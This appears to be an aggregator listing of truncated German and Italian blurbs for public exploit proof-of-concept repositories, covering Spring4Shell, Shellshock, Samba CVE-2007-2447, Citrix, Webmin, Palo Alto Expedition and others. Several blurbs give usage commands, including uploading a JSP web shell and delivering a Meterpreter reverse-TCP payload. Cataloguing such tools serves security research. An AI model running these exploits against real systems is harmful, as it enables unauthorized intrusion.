CVE-2020-8559

Kubernetes CVE-2020-8559 Proof of Concept PoC Exploit Dies dient ausschließlich Demonstrationszwecken. Nur für den Einsatz auf Systemen, für die Sie autorisiert sind, administrative Aktionen durchzuführen und CVE-2020-8559 auszunutzen. Dies ist ein PoC für CVE-2020-8559. Diese Schwachstelle...

RemoteMouse-3.008-RCE

CVE-2021-35448 - Remote Mouse Exploit Beschreibung Dieser Exploit zielt auf die CVE-2021-35448 -Sicherheitslücke in der Remote Mouse-Anwendung ehemals WiFi Mouse ab. POC CVE-2021-35448.webm Verwendung Grundlegende Syntax root@kitploit: python3 CVE-2021-35448.py -t OPTIONS Optionen -t, --target:...

cve-2022-26134

CVE-2022-26134 Implementierung von CVE-2022-26134 Dieses Repository enthält meine Implementierung des Exploits für CVE-2022-26134. Die hier implementierte Version umgeht die isSafeExpression-Prüfungen in Versionen wie 7.18.0. Der Exploit kann in zwei Modi ausgeführt werden: Der erste Modus erlaub...

Webmin_1.890-POC

Webmin 1.890 abgelaufener Remote Root CVE-2019-15107 Webmin Version 1.890 wurde mit einer Hintertür veröffentlicht, die es jedem, der davon weiß, ermöglicht, Befehle als root auszuführen. Die Versionen 1.900 bis 1.920 enthielten ebenfalls eine Hintertür mit ähnlichem Code, die jedoch in einer...

Samba-CVE-2007-2447-Exploit

Samba CVE-2007-2447 Exploit Dies ist ein Python-Skript zur Ausnutzung von CVE-2007-2447, einer Schwachstelle, die als Befehlsausführung über das 'Username'-Map-Skript im Samba-Server bekannt ist. Beschreibung Dieser Exploit wurde entwickelt, um Samba-Versionen 3.x - 4.x anzugreifen. CVE-2007-2447...

spring4shell-CVE-2022-22965

Semplice POC di Spring4Shell Controlla se l'endpoint è vulnerabile python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Sfrutta l'endpoint vulnerabile python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Esegui un comando...

CVE-2024-9464

CVE-2024-9464: Palo Alto Expedition Authentifizierte Befehlseinschleusung Proof of concept zur Ausnutzung von CVE-2024-9464 auf verwundbaren Geräten. Dieses Skript verknüpft den Admin-Reset von CVE-2024-5910, um eine "nicht authentifizierte" beliebige Befehlsausführung zu erreichen. Blog-Beitrag...

SPIP-CVE-2024-23659-

SPIP-CVE-2024-23659- Python-3-Skript zur Validierung/Ausnutzung von nicht authentifiziertem RCE in SPIP BigUp gemäß aktuellem Code, operative Referenz auf CVE-2024-8517. ⚠️ Wichtiger Hinweis: Der Repository-Name erwähnt CVE-2024-23659, aber das Skript cve.py und seine internen Meldungen verweisen...

CNVD-2022-27366__CVE-2023-37621

CVE-ID CVE-2023-37621 PRODUKT Fronius Fronius Datalogger Web 2.0.5-4 VERSION Fronius Fronius Datalogger Web 2.0.5-4 PROBLEMTYP Schwachstelle für unbefugten Zugriff BESCHREIBUNG Fronius ist ein europäischer Hersteller von Schweißgeräten. Durch unbefugten Zugriff auf Fronius Datalogger Web können...

acunetix_0day

Acunetix 0day RCE - SYSTEM Acunetix 0day RCE Utilizzo Esegui lo script con root@kitploit: dzonerzy:dvm dzonerzy$ python /Users/dzonerzy/PycharmProjects/natbypass/acu0day.py 9999 172.16.24.1 Acunetix WVS 10 - SYSTEM Remote Command Execution Daniele Linguaglossa Payload: Meterpreter reverse TCP 444...

CVE-2026-63077

Panoramica • Flusso visivo • Requisiti • Utilizzo • Limitazioni • Mitigazione !CAUTION Questa PoC esegue un comando del sistema operativo e può modificare la directory dell'applicazione TeamCity. Usala solo in un laboratorio isolato o su sistemi per cui disponi di un'autorizzazione scritta...

CVE-2025-26264

CVE-2025-26264 CVE-2025-26264 - GeoVision GV-ASWeb con versione 6.1.2.0 o precedente contiene una vulnerabilità di Remote Code Execution RCE nella funzionalità Notification Settings. Un attaccante autenticato con privilegi "System Settings" in ASWeb può sfruttare questa falla per eseguire comandi...

CVE-2022-43110

CVE-2022-43110 Weitere Informationen Voltronic Viewpower/Pro und deren Nachbauten/Abkömmlinge Die UPS-Management-Software soll es nur einem ordnungsgemäß authentifizierten und autorisierten Admin-Benutzer über eine Weboberfläche ermöglichen, das System zu konfigurieren. Aufgrund von CWE-425: Dire...

cve-2023-34446

CVE-2023-36664: Esecuzione remota di codice in Ghostscript Riepilogo della vulnerabilità CVE ID: CVE-2023-36664 Prodotto: Ghostscript 10.01.2 Tipo di vulnerabilità: Remote Code Execution RCE Panoramica Questa vulnerabilità CVE-2023-36664 è una vulnerabilità di esecuzione arbitraria di codice RCE...

CVE-2014-6271-Shellshock

CVE-2014-6271 Shellshock xpl0ited von infrar3d Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2014-6271 Shellshock. Shellshock ist eine kritische Schwachstelle in GNU Bash, bei der speziell präparierte Umgebungsvariablen die Ausführung beliebiger Befehle ermöglichen. Wenn ein...

CVE-2019-19781

Remote-Code-Ausführung-Exploit CVE-2019-19781 – Citrix Application Delivery Controller & Gateway Exploit für Remote-Code-Ausführung für Citrix Application Delivery Controller und Citrix Gateway CVE-2019-19781 Verwendung: bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE z.B : bash...

1Panel-CVE-2025-54424-

CVE-2025-54424 CVE-2025-54424: strumento integrato per la vulnerabilità RCE di 1Panel tramite bypass del certificato client scansione + exploit Introduzione alla vulnerabilità 1Panel è un pannello di amministrazione Linux open source e moderno che fornisce un'interfaccia grafica per distribuire...

React2Shell-POC

Questa Proof of Concept PoC per la vulnerabilità React2Shell CVE-2025-55182 è stata sviluppata esclusivamente a scopo educativo e di ricerca. Ha lo scopo di dimostrare l'esistenza e il potenziale impatto di una specifica vulnerabilità di sicurezza in un ambiente controllato, autorizzato e non di...

CVE-2007-2447_Samba_3.0.25rc3

CVE-2007-2447 'Username' map script' Esecuzione di comandi 3.0.0 - 3.0.25rc3 3.0.20 - 3.0.25rc3 AMRIUNIX...

CVE-2007-2447

Percorso ExploitDev 6 | CVE-2007-2447 | Samba 3.0.20 3.0.25rc 'Username' map script' Esecuzione di comandi Exploit originale: https://www.exploit-db.com/exploits/16320 Nome exploit: Samba username map script RCE CVE : 2007-2447 Laboratorio : Lame - HackTheBox Descrizione C'è una vulnerabilità nel...